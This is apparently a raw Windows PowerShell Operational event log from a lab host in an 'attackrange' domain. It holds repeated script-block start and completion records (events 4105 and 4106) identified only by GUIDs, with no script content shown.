SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031514
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031513
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031512
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031511
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031510
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031509
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031508
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031507
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031506
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031505
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031504
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031503
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031502
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031501
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031500
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031499
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031498
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031497
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031496
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031495
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031494
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031493
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031492
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031491
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031490
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031489
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031488
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031487
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031486
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031485
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031484
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031483
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031482
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031481
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031480
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031479
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031478
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031477
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031476
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031475
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031474
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031473
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031472
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031471
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031470
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031469
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031468
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031467
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031466
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031465
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031464
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031463
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031462
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031461
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
